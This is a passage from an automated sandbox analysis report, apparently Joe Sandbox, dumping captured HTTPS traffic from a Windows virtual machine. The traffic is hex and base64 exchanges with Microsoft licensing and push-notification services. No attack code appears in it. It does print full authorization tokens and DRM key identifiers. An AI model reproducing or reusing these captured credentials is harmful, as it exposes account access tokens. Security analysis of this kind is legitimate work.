72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 32 38 37 34 38 33 30 36 2d 39 66 30 32 2d 61 
35 64 37 2d 36 64 65 64 2d 34 34 35 39 66 64 64 61 64 63 33 31 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"28748306-9f02-a5d7-6ded-4459fddadc31"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:24 UTC 2131 IN Data Raw: 6a 41 77 4c 6a 55 34 4e 7a 4d 7a 4e 6a 4a 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 
61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 
4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4b 61 6c 70 74 54 54 
42 5a 56 45 56 33 57 6c 4d 77 64 30 31 36 56 54 4a 4d 56 46 45 78 54 56 64 52 64 46 6c 74 53 58 70 61 55 7a 46 71 54 
6b 64 61 62 45 35 58 56 6d 74 61 62 56 46 35 54 55 64 4e 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 
62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 74 
5a 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 56 55 46 42 
Data Ascii: jAwLjU4NzMzNjJaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXlKc1p
XZGhZM2xRY205a2RXTjBTV1FpT2lKalptTTBZVEV3WlMwd016VTJMVFExTVdRdFltSXpaUzFqTkdabE5XVmtabVF5T
UdNaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUtZQUFBREpBQUFBQ2dBQUFBVUFB

2022-07-01 09:01:24 UTC 2132 IN Data Raw: 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 
74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 53 49 67 4c 7a 
34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 5a 43 42 42 62 
47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 
4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 52 47 6c 6e 5a 58 4e 
30 56 6d 46 73 64 57 55 2b 59 6a 49 31 61 6e 45 78 63 6d 35 71 59 32 4a 61 
Data Ascii: 2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGR
zaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0d
HA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+YjI1anExcm5qY2Ja

2022-07-01 09:01:24 UTC 2133 IN Data Raw: 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 
54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 4e 45 53 46 4a 
42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 6b 49 31 56 55 7
0 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 62 45 68 6a 4e 
55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 46 59 6a 64 4b 
57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 48 4b 7a 6b 79 5a 7a 46 
50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 56 31 4a 6b 63 32 74 51 62 30 34 7a 
Data Ascii: 2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzl
mZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CY
Wh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jkc2tQb04z

2022-07-01 09:01:24 UTC 2134 IN Data Raw: 75 55 47 56 76 63 47 78 6c 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 
6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 
51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 
43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 
5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 
70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 57 
56 6b 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 
Data Ascii: uUGVvcGxlXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+M
TI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZ
SIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXNzdWVkRGF0ZT4yMDIyLTA
3LTAxVD

2022-07-01 09:01:24 UTC 2135 IN Data Raw: 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 55 31 58 57 6d 78 50 52 47 78 71 54 55 64 4a 64 45 39 58 53 6d 
78 61 51 7a 46 71 57 58 70 57 61 30 78 55 59 7a 42 4e 61 6c 6c 30 54 31 64 56 4d 45 31 45 53 54 46 61 52 46 70 70 57 
6b 64 52 4e 55 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 56 70 54 32 6c 4b 64 47 4d 79 
62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 57 4e 35 53 54 5a 58 4d 54 42 
7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 4a 4b 57 6b 4e 4a 4e 6b 6c 71 62 45 39 52 61 33 68 49 55 6a 42 6e 65 45 
31 47 51 6b 68 50 51 30 6c 7a 53 57 35 4f 63 6d 52 56 62 47 74 4a 61 6d 39 70 54 55 52 42 65 45 31 44 53 6a 6c 59 55 
33 64 70 59 30 63 35 63 32 4a 46 52 6a 42 4a 61 6d 39 70 54 57 70 42 65 55 
Data Ascii: HbG1hV1Z5SWpvaU1XWmxPRGxqTUdJdE9XSmxaQzFqWXpWa0xUYzBNall0T1dVME1ESTF
aRFppWkdRNUlpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5Ce
WIyUjFZM1JKWkNJNklqbE9Ra3hIUjBneE1GQkhPQ0lzSW5OcmRVbGtJam9pTURBeE1DSjlYU3dpY0c5c2JFRjBJam9
pTWpBeU

2022-07-01 09:01:24 UTC 2136 IN Data Raw: 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 
41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 
57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4
d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 
68 4c 58 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 
34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 
58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 
Data Ascii: 9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0a
G9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz4
8UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:24 UTC 2137 IN Data Raw: 72 55 54 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 
35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 
44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 
55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 
68 51 55 6c 6d 64 33 6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 
76 56 46 46 76 5a 47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 
4e 46 62 45 78 33 55 6d 39 4d 51 57 31 32 4e 33 70 4a 64 56 5a 33 4d 31 
Data Ascii: rUT09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkL
WU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd
3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3U
m9MQW12N3pJdVZ3M1

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 192.168.2.5 49888 20.199.120.182 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:24 UTC 2129 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 38 38 37 34 63 37 63 66 62 61 
66 66 39 34 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: 748874c7cfbaff94

2022-07-01 09:01:24 UTC 2129 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:01:24 UTC 2129 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 38 38 
37 34 63 37 63 66 62 61 66 66 39 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: 748874c7cfbaff94<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:24 UTC 2130 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 
37 34 38 38 37 34 63 37 63 66 62 61 66 66 39 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 
6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 
69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 
65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 
73 3e 
Data Ascii: BND 3 CON\WNS 1044478 170Context: 748874c7cfbaff94<wns><ver>1</ver><client><name>WPN</name>
<ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>

2022-07-01 09:01:24 UTC 2130 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:24 UTC 2130 IN Data Raw: 4d 53 2d 43 56 3a 20 46 45 56 75 56 58 35 50 63 30 4f 45 4e 32 2f 50 73 77 36 44 37 41 2e 30 0d 0a 0d 0a 50 
61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: FEVuVX5Pc0OEN2/Psw6D7A.0Payload parsing failed.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.2.5 49889 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 81 of 280



2022-07-01 09:01:24 UTC 2138 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.9
Content-Length: 4321
Host: licensing.mp.microsoft.com

2022-07-01 09:01:24 UTC 2140 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:25 UTC 2144 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:24 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8033
MS-CorrelationId: 19b64925-05ab-4a99-a201-63aa5e5d810f
MS-RequestId: 8c119dbc-cd79-436e-84f3-42bccfdeed18
MS-CV: UznHpAHqV0GMBdER.9.1530939076.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 8

2022-07-01 09:01:25 UTC 2145 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 35 31 37 63 66 63 61 66 2d 31 33 38 62 2d 31 
37 39 36 2d 32 63 65 61 2d 36 32 38 39 32 32 30 34 32 35 30 61 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"517cfcaf-138b-1796-2cea-62892204250a"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:25 UTC 2146 IN Data Raw: 69 30 77 4e 79 30 77 4d 56 51 77 4d 44 6f 79 4f 44 6f 79 4d 53 34 30 4e 44 45 7a 4f 44 4d 79 57 6a 77 76 51 
6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 
62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6d 56 35 53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 
77 55 31 64 52 61 55 39 70 53 6d 68 61 61 6d 73 78 57 56 52 5a 64 30 31 44 4d 44 56 50 56 30 55 30 54 46 52 52 65 45 
35 71 52 58 52 50 56 47 4e 36 54 6d 6b 77 4d 45 35 45 61 47 70 4f 61 6b 4a 70 54 30 52 4f 62 55 31 71 61 32 6c 6d 55 
54 30 39 50 43 39 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 
51 6d 78 76 59 32 73 2b 52 6b 46 42 51 55 46 4e 51 55 46 42 51 55 52 4b 
Data Ascii: i0wNy0wMVQwMDoyODoyMS40NDEzODMyWjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVB
vbGljaWVzPmV5SnNaV2RoWTNsUWNtOWtkV04wU1dRaU9pSmhaamsxWVRZd01DMDVPV0U0TFRReE5qRXR
PVGN6TmkwME5EaGpOakJpT0RObU1qa2lmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s
+RkFBQUFNQUFBQURK

2022-07-01 09:01:25 UTC 2147 IN Data Raw: 57 63 74 62 57 39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 
63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 
75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 6
3 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 
47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 
50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 
36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 
Data Ascii: WctbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Z
vcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZ
